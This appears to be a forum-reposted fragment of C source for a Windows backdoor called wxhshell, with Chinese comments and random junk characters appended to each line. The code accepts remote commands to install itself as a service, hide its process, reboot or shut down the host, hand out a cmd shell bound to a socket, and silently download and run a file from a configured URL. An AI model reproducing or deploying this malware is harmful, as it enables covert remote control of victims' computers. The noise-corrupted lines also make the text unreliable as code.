  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6aSM*S)  
  } E!YmcpCl  
  else { {d}26 $<$]  
f(.6|mPp  
    switch(cmd[0]) { sN@j5p^jc  
  MgP{W=h2  
  // 帮助 0~i qG  
  case '?': { TQ~&Y)".  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,lP7 ri  
    break; #Y: ~UVV  
  } U,ELqi\  
  // 安装 %JaE4&  
  case 'i': { 8>v7v&Bh|  
    if(Install()) !h/dZ`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pP oxVvG{  
    else 8!6<p[_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5:_~mlfi  
    break; bXm :]?  
    } g`{Dxb,t  
  // 卸载 |@q9{h7  
  case 'r': { B{4"$Mi  
    if(Uninstall()) xOgq-@`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (WkTQRcN,  
    else a[JZ5D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5~-}}F  
    break; YiBOi?h9  
    } 9<~,n1b>x  
  // 显示 wxhshell 所在路径 X@eg<]'m  
  case 'p': { W9+h0A-  
    char svExeFile[MAX_PATH]; / (.'*biQ  
    strcpy(svExeFile,"\n\r"); /J8o_EV  
      strcat(svExeFile,ExeFile); q4zSS #]A  
        send(wsh,svExeFile,strlen(svExeFile),0); nYgx9Q"<om  
    break; &}O8w77  
    } SE-} XI\  
  // 重启 %N1T{   
  case 'b': { iUpSN0XkMM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |y'b21 7t  
    if(Boot(REBOOT)) /o'oF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JN)"2}SE  
    else { y!BB7cK6  
    closesocket(wsh); n<+~ zQ  
    ExitThread(0); iF+S%aPd#  
    } M Yu?&}%^  
    break; (T4k~T`3  
    } UT % #K%  
  // 关机 I}1fEw>8  
  case 'd': { ?Ip$;s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0rGj|@+;  
    if(Boot(SHUTDOWN)) yCZ2^P!a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (kdC1,E  
    else { ]&/0  
    closesocket(wsh); CARq^xI-  
    ExitThread(0); i{4'cdr?  
    } '%3u%;"  
    break; ?F!W#   
    } XZ!cW=bqS  
  // 获取shell 7-(>"75Q|  
  case 's': { e|35|I '  
    CmdShell(wsh); \}n !yYh(  
    closesocket(wsh); EF0Pt  
    ExitThread(0); `g2&{)3k  
    break; 6{lG1\o  
  } 4$qNcMdz  
  // 退出 7B VXBw  
  case 'x': { ;}n|,g>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t.gq5Y.[  
    CloseIt(wsh); PV?1g|tYv  
    break; 6j?FRs  
    } 4;",@}  
  // 离开 / O|Td'Z  
  case 'q': { k q/t]%(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6zELe.tq  
    closesocket(wsh); b "`ru~]  
    WSACleanup(); \=$EmHF  
    exit(1); Q|6Ls$'$  
    break; =I %g;YK  
        } (X0`1s  
  } Sa( yjF1  
  } <=#lRZW[z  
)R8%wk?2  
  // 提示信息 wE-Ji<1HJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O-y6!u$6&  
} ?r^ hm u"a  
  } hg$qb eUl  
ecM4]U  
  return; "``W6W-(  
} ^uKnP>*l  
Fc34Y0_A  
// shell模块句柄 ppPG+[cz  
int CmdShell(SOCKET sock) ^=aml   
{ Tz+HIUIxF  
STARTUPINFO si; $,xtif0  
ZeroMemory(&si,sizeof(si)); -[i40 1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h[Ndtq>3{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c13vEn!c  
PROCESS_INFORMATION ProcessInfo; C.b,]7i  
char cmdline[]="cmd"; ^D% }V-"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wUh3Hd'  
  return 0; -lJx%9>  
} y|&.v <  
BnKP7e  
// 自身启动模式 ]}UeuF\  
int StartFromService(void) u=_bM2;~Z  
{ 5bu[}mJ  
typedef struct .5jnKU8NF  
{ >X-ed  
  DWORD ExitStatus; s BeP;ox  
  DWORD PebBaseAddress; _"R3N  
  DWORD AffinityMask; )x_W&*oZ  
  DWORD BasePriority; .( TQ5/ ~  
  ULONG UniqueProcessId; uW\@x4  
  ULONG InheritedFromUniqueProcessId; GoGohsj  
}   PROCESS_BASIC_INFORMATION; f}Ne8]U/Hc  
s9ju/+fv  
PROCNTQSIP NtQueryInformationProcess; f.U0E6-(3N  
z 'vdC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tx|SAa=V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v^ y}lT  
3D 4]yR5  
  HANDLE             hProcess; sw3:HNG=  
  PROCESS_BASIC_INFORMATION pbi; J};u25:}  
7 K;'7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F]URf&U  
  if(NULL == hInst ) return 0; Ak %no3:9  
Cg]3(3   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GY0XWUlC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <wd4^Vr!2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PsF- 9&_  
@1J51< x  
  if (!NtQueryInformationProcess) return 0; z$I[kR%I{  
N+C%Z[gt[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >Rl0%!  
  if(!hProcess) return 0; ]noP  
Et @=Ic^E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rA1zyZlz  
^5FJ}MMJf  
  CloseHandle(hProcess); ,Do$`yO+  
0~@L%~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \ pe[V~F  
if(hProcess==NULL) return 0; 36x5q 1  
.dg 4gr\D  
HMODULE hMod; xy-$v   
char procName[255]; yP<:iCY  
unsigned long cbNeeded; G>_42Rp  
(d5vH)+ A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N>cp>&jV  
oneSgJ  
  CloseHandle(hProcess); I;Z`!u:+  
[pRVZV  
if(strstr(procName,"services")) return 1; // 以服务启动 v ,G-k2$Qe  
8vX*SrM  
  return 0; // 注册表启动 OxmlzQ"vM  
} F=*BvI "+  
}K#&5E  
// 主模块 Y_Z &p#Q!  
int StartWxhshell(LPSTR lpCmdLine) P&-D0T_  
{ EE{#S  
  SOCKET wsl; )"i>R ~*  
BOOL val=TRUE; "OS]\-  
  int port=0; @y;tk$e  
  struct sockaddr_in door; n8;G,[GM80  
oC@"^>4  
  if(wscfg.ws_autoins) Install(); yv8dfl  
"x=@ ,*Bk  
port=atoi(lpCmdLine); &Gy'AUz-  
kERaY9L\  
if(port<=0) port=wscfg.ws_port; n{qw ]/  
r=P$iG'&  
  WSADATA data; 9`gGsC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !7,K9/"  
$Kw"5cm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %DND&0`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2'O!~8U  
  door.sin_family = AF_INET; yaYIgG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J7 *G/F  
  door.sin_port = htons(port); oRvm*"8B  
x#}j3" PP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  2U+z~  
closesocket(wsl); :+gCO!9Y  
return 1; q*<J $PI  
} MSYLkQ}_b  
[V#&sAe  
  if(listen(wsl,2) == INVALID_SOCKET) { u {E^<fW]  
closesocket(wsl); *"wD& E?  
return 1; f-f\}G&G  
} #(7RX}  
  Wxhshell(wsl); 43orR !.Z  
  WSACleanup(); aP6%OI  
G7kFo6Cb  
return 0; %;B(_ht<-w  
-SC2Zgi)A  
} 1 [~|  
x1hs19s  
// 以NT服务方式启动 JG+g88  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z+"E*  
{ 5x1jLPl'  
DWORD   status = 0; 3/SqXu  
  DWORD   specificError = 0xfffffff; wJ]$'c3  
%.atWX`b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D !D%.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i$LV44  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UNZVu~WnF  
  serviceStatus.dwWin32ExitCode     = 0; dC;d>j,  
  serviceStatus.dwServiceSpecificExitCode = 0; >`,#%MH#  
  serviceStatus.dwCheckPoint       = 0; EK-bvZ  
  serviceStatus.dwWaitHint       = 0; l`5}i|4KTW  
enD C#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k}Clq;G  
  if (hServiceStatusHandle==0) return; :R|2z`b!  
j|$y)FBX  
status = GetLastError(); *i]Z=  
  if (status!=NO_ERROR) n4d(`  
{ XGrxzO|{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rp@}9qijb  
    serviceStatus.dwCheckPoint       = 0; k f K"i  
    serviceStatus.dwWaitHint       = 0; ZsK'</7  
    serviceStatus.dwWin32ExitCode     = status; +[l{C+p  
    serviceStatus.dwServiceSpecificExitCode = specificError; I}Gl*@K&O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )*L?PT  
    return; cX=b q_  
  } @}rfY9o'  
dU04/]modD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [Xo J7  
  serviceStatus.dwCheckPoint       = 0; gu .))3D9  
  serviceStatus.dwWaitHint       = 0; &MGgO\|6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z`1o#yZ  
} D<L{Z[  
h|/*yTuN.y  
// 处理NT服务事件,比如:启动、停止 VT~ ^:-]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cB])A57<  
{ QX~72X=(  
switch(fdwControl) Hd@T8 D*A  
{ cJE>;a  
case SERVICE_CONTROL_STOP: []fj~hj  
  serviceStatus.dwWin32ExitCode = 0; W!9f'Yn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r@V(w`  
  serviceStatus.dwCheckPoint   = 0;  D]>86&  
  serviceStatus.dwWaitHint     = 0; T6?d`i i1  
  { 6V_5BpXt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pc:'>,3!V3  
  } ~(doy@0M  
  return; FU v)<rK  
case SERVICE_CONTROL_PAUSE: w7ABnX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "@'9+$i6  
  break; ;>hPHx  
case SERVICE_CONTROL_CONTINUE: >a] s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H-y-7PW*~  
  break; I:2jwAl  
case SERVICE_CONTROL_INTERROGATE: Q]koj!mMl  
  break; U?m?8vhR6(  
}; _@ 3O`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5<ya;iK  
} 9mtC"M<   
o>k-~v7  
// 标准应用程序主函数 { dx yBDK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hn2Q1lF-ip  
{ _xwfz]lb+  
<qj@waKw4  
// 获取操作系统版本 KqIe8bi^G  
OsIsNt=GetOsVer(); gRd1(S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7^}Z%c  
|P?B AWYeQ  
  // 从命令行安装 -`<N,  
  if(strpbrk(lpCmdLine,"iI")) Install(); X/D9%[{&  
Dg4^ C  
  // 下载执行文件 bX1! fa  
if(wscfg.ws_downexe) { oM7-1O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O pX  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~CTRPH   
} w5G34[v  
vP;tgW9Qk  
if(!OsIsNt) { j3'/jk]\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^Q+5M"/8  
HideProc(); @ShJ:  
StartWxhshell(lpCmdLine); j{+I~|ZB,  
} {y%O_-C'r  
else ,UJPLj^  
  if(StartFromService()) n7<-lQRaxZ  
  // 以服务方式启动 Xpz-@fqKdf  
  StartServiceCtrlDispatcher(DispatchTable); .TU15AAc  
else 8pKPbi;(2  
  // 普通方式启动 !LSWg:Ev+  
  StartWxhshell(lpCmdLine); #z5?Y2t7~^  
$f-pLF+x  
return 0; N9hWx()v  
}
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只看该作者 1 发表于: 2006-10-10
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